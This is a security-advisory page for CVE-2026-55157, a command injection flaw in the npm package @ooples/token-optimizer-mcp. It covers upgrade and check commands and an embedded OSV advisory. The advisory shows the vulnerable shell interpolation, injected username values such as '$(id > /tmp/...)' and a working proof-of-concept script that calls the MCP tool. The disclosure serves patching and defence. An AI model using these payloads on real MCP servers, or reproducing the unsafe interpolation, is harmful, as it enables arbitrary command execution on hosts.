CVE-2026-55157: Token Optimizer MCP OS Command Injection Vulnerability
HIGHCVE-2026-55157 is a HIGH (CVSS 8.4) os command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Token Optimizer MCP libraries in the npm ecosystem. The issue involves os command injection in smart_user via username in get-user-info. Remediation is available by upgrading affected packages to version 5.1.0.
CVE-2026-55157 at a Glance
Security Impact
CVSS: 8.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-55157
To remediate this vulnerability, upgrade all affected Token Optimizer MCP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @ooples/token-optimizer-mcp@5.1.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @ooples/token-optimizer-mcp
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-55157, inspect your project dependencies using npm:
npm ls @ooples/token-optimizer-mcp
Analyze the terminal output to locate any version of Token Optimizer MCP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.0), your application is affected.
Note: The npm ls @ooples/token-optimizer-mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Token Optimizer MCP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55157 Affected Token Optimizer MCP Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@ooples/token-optimizer-mcp
|
npm |
< 5.1.0
|
5.1.0
|
References
Frequently Asked Questions
What is CVE-2026-55157?
Which Token Optimizer MCP versions are affected?
What version fixes CVE-2026-55157?
Is @ooples/token-optimizer-mcp affected?
What is the CVSS score of CVE-2026-55157?
What CWE is associated with CVE-2026-55157?
How can I check npm dependencies for CVE-2026-55157?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-49mq-fc6q-3h46",
"modified" : "2026-08-14T21:42:06Z",
"published" : "2026-08-14T21:42:06Z",
"aliases" : [ "CVE-2026-55157" ],
"summary" : "Token Optimizer MCP: OS command injection in smart_user via username in get-user-info",
"details" : "### Summary\n\n`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.\n\nThe `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:\n\n```ts\ngetent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n```\n\nAlthough the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:\n\n```text\n$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\n```\n\nand execute arbitrary local commands with the privileges of the user running the MCP server.\n\nThis is a CWE-78 OS command injection issue.\n\nTested version:\n\n```text\n@ooples/token-optimizer-mcp v5.0.1\nMCP serverInfo.name: token-optimizer-mcp\nMCP serverInfo.version: 0.2.0\n```\n\nThis issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation.\n\n---\n\n### Details\n\nThe vulnerable code path is in the `smart_user` implementation.\n\nThe `username` argument is eventually passed into a shell command similar to:\n\n```ts\nconst { stdout: passwdOut } = await execAsync(\n `getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd`\n);\n```\n\nThe problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.\n\nDouble quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:\n\n```bash\n\"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\"\n\"`id`\"\n```\n\nTherefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.\n\nThe affected MCP tool call is:\n\n```text\ntool: smart_user\noperation: get-user-info\nargument: username\n```\n\nRoot cause:\n\n```text\nMCP-controlled username\n→ interpolated into shell command string\n→ executed through execAsync()\n→ shell evaluates $(...) / backticks\n→ arbitrary command execution\n```\n\n---\n\n### PoC\n\nThe following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.\n\nPrerequisites:\n\n```text\nNode.js installed\ntoken-optimizer-mcp built from source\n```\n\nBuild from source:\n\n```bash\ngit clone https://github.com/ooples/token-optimizer-mcp.git\ncd token-optimizer-mcp\nnpm install\nnpm run build\n```\n\nRun the PoC:\n\n```bash\ncd /path/to/token-optimizer-mcp\n\nENTRY=dist/server/index.js\nID_OUT=\"/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$\"\nrm -f \"$ID_OUT\"\n\necho \"[*] ENTRY=$ENTRY\"\necho \"[*] id output file: $ID_OUT\"\n\npython3 - \"$ID_OUT\" <<'PY' | timeout 20 node \"$ENTRY\" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log\nimport json\nimport sys\n\nid_out = sys.argv[1]\n\n# This value is inserted into:\n# getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n# Command substitution still executes inside double quotes.\nevil_username = f'$(id > {id_out})'\n\nmessages = [\n {\n \"jsonrpc\": \"2.0\",\n \"id\": \"init\",\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\n \"name\": \"poc\",\n \"version\": \"0\"\n }\n }\n },\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {}\n },\n {\n \"jsonrpc\": \"2.0\",\n \"id\": \"poc-smart-user\",\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"smart_user\",\n \"arguments\": {\n \"operation\": \"get-user-info\",\n \"username\": evil_username,\n \"useCache\": False\n }\n }\n }\n]\n\nfor msg in messages:\n print(json.dumps(msg), flush=True)\nPY\n\nsleep 1\n\nif [ -f \"$ID_OUT\" ]; then\n echo \"[VULN CONFIRMED] smart_user command injection executed:\"\n cat \"$ID_OUT\"\n ls -l \"$ID_OUT\"\nelse\n echo \"[FAIL] smart_user id output file not created\"\n tail -120 /tmp/token_optimizer_smart_user_poc.log\nfi\n```\n\nExpected result:\n\n```text\n[VULN CONFIRMED] smart_user command injection executed:\nuid=1001(<local-user>) gid=1001(<local-user>) groups=...\n-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...\n```\n\nIn my test, the MCP response also showed that the payload reached the shell command:\n\n```text\nCommand failed: getent passwd \"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)\" || grep \"^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):\" /etc/passwd\n```\n\nThe file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.\n\nA simpler marker-file variant also works:\n\n```json\n{\n \"operation\": \"get-user-info\",\n \"username\": \"$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)\",\n \"useCache\": false\n}\n```\n\n---\n\n### Impact\n\nThis is an OS command injection vulnerability.\n\nAny MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation.\n\nThe commands execute with the privileges of the user running the `token-optimizer-mcp` server.\n\nConfirmed impact:\n\n```text\nexecution of `id` as the MCP server user\narbitrary file creation under /tmp through an injected command\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@ooples/token-optimizer-mcp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46"
}, {
"type" : "WEB",
"url" : "https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ooples/token-optimizer-mcp"
}, {
"type" : "WEB",
"url" : "https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-14T21:42:06Z",
"nvd_published_at" : null
}
}